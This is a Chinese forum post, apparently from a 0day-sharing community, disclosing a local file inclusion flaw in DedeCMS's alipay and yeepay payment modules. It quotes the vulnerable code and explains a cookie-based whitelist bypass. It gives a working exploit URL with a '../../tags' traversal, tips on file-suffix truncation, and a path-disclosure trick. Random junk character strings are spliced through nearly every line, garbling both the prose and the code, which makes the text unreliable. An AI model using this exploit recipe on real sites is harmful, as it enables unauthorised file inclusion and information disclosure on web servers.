晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)) H, p) S( c& e. t: m9 J# n9 ?$ ~
( j" B- I! _9 Z% Q
出现漏洞的两个文件为:3 K* }' q- t$ u; E& d
Include/payment/alipay.php
v7 Y& B" x" W, g. S* F' O/ sInclude/payment/yeepay.php
5 s; g" u/ D9 M" i, w/ ], b漏洞均出现在respond方法里,估计这两个文件是临时工写的。, ?: s# r: F4 [2 ]
! I0 S- b2 S0 Z H. ]Include/payment/alipay.php
" h" d, @' I6 N; ]4 D# A0 i; ~' [
......
2 g' w+ Q: [4 K7 C$ o- U function respond()7 [% l% A; @( S' g3 X/ w/ w
{3 E- R+ G ?8 x! `5 a( J4 c
if (!empty($_POST)); A0 t- a* E" l
{
2 |! S& J- t; I8 X7 L& A foreach($_POST as $key => $data)' B# ~: J1 z$ Q
{
" \: J$ x4 ]& N# S" { $_GET[$key] = $data;
+ q0 J- q4 O/ Q }! o$ D) Z+ C+ Q% Q n4 B
}5 [ }3 m/ u' g* u7 l
/* 引入配置文件 */
/ X: w( v$ t" x0 B* ^; {- J require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
8 U% h3 a) h1 W......
0 x) T$ a) i- w" Y) K 5 g7 {/ G/ ?0 ^2 j& P% A
3 h0 s5 j3 e, Q4 ]4 F+ {大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。/ c2 B: m- G* |4 P4 b1 n7 D
! L+ M1 e. a xInclude/payment/yeepay.php% G1 s, r# e' w* z& f
/ B) ?% M' ?7 U) }
! e8 }/ }* N2 x% t
( w7 l2 W9 A& E% R......
% {' ?, | J& K5 [4 t$ Y function respond()
& f# |1 q6 ]+ q! H& H" V {' d) N" u; O/ E
$ ~# L- b. K0 ] /* 引入配置文件 */
- p: [# |. s2 I) U( | `" c! J require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';& @8 a3 l8 V' Q8 [, r! y
: o! H3 ] e* e4 N $p1_MerId = trim($payment['yp_account']);
2 ]% U3 h% J1 W. n. W7 B+ F $merchantKey = trim($payment['yp_key']);$ m: M: C. J& z2 m! v
...... 5 `1 d$ \0 U! X: t
3 [, f; F# f) v- W3 u% l v7 Y/ z; g2 M( x+ \
' N4 t) S2 `1 w1 L- M
% d X# t" t9 q
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
# {' c# d. Y8 Y* s1 y5 { C Y7 w5 U0 }- T) j
这两个方法在plus/carbuyaction.php文件调用。+ `3 e. g7 a# r8 s( `" {
( Z5 Z) b8 i- P6 g# Iplus/carbuyaction.php8 m. _" `4 W3 a8 a: v# c; s% b
8 d9 P. [ f% b/ r. E% B
......5 G/ s; L# T3 K( N7 T
} else if ($dopost == 'return') {$ O, H& K" m" e3 e* H; ~
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
. @ e0 E3 t' D$ A* B: Q' N0 _ if (in_array($code, $write_list))
( U1 [1 |! ~# L; S {6 r* s- E. R6 V# U
require_once DEDEINC.'/payment/'.$code.'.php';8 U7 S& }% b: E, b# e+ a. Z, M
$pay = new $code;
3 s. t: A5 K0 y: z4 x( F! S7 z $msg=$pay->respond();
3 ?: s$ Z3 ]$ G! ?5 G# v5 j ShowMsg($msg, "javascript:;", 0, 3000);6 h; |$ H6 [3 E! o. V$ d. S" h
exit();
4 @7 Z1 B9 \" Z* N- |. Q- z } else {7 _" w# w# F% T' J) l" A5 C4 h
exit('Error:File Type Can\'t Recognized!');, T% Y* ?6 v: ]1 S3 B
}
. \6 Z, I( V# _8 l) ~' i* [* o}
2 H% s1 X6 u) }...... # | f5 T" l, R( Y% K8 l/ y9 c
g8 Y& `- _+ ^, P5 \ r. \- |2 ]8 r$ e, J
6 E% h; i0 d1 \( D- F! e
1 c' u+ o* ?& v y
* t1 L K0 i4 u# [/ e- {# F- K. f: m4 P' g( r& g ^; t
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。7 t" r1 K: Q- n
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
- |# x8 k( U6 c1 a3 s& \9 X
$ [+ v5 j, l/ }5 \回到include/common.inc.php来看看他的机制。
$ M4 v+ q7 K% n U- `: q
5 @+ B7 _/ R C2 b2 H! q# U
+ q& i4 o' j) g, T/ k6 A) w9 {* C6 a* r- `
......
}( `- w; P1 U' A: W, l) oforeach(Array('_GET','_POST','_COOKIE') as $_request)$ Z# w7 Y( l. B) j9 T0 X
{3 S, S4 J7 W7 Q- a
foreach($$_request as $_k => $_v) ) \2 [3 y( @% ^( Y2 G% e% d/ K. i
{
0 K4 H) p0 u5 G& F if($_k == 'nvarname') ${$_k} = $_v;/ U, t d$ X5 E& o) d1 Y
else ${$_k} = _RunMagicQuotes($_v);* K0 Q, h9 W( U8 G1 L2 e3 l, W
}
" L6 }7 b' J! S1 y. ~7 \}
' H1 [9 a M# n9 h3 r8 M...... 8 Z* s5 k9 q9 v; Z5 ?7 ~ M* Z
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
+ M! s2 }5 U/ K5 ~) k+ Q- u7 M由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |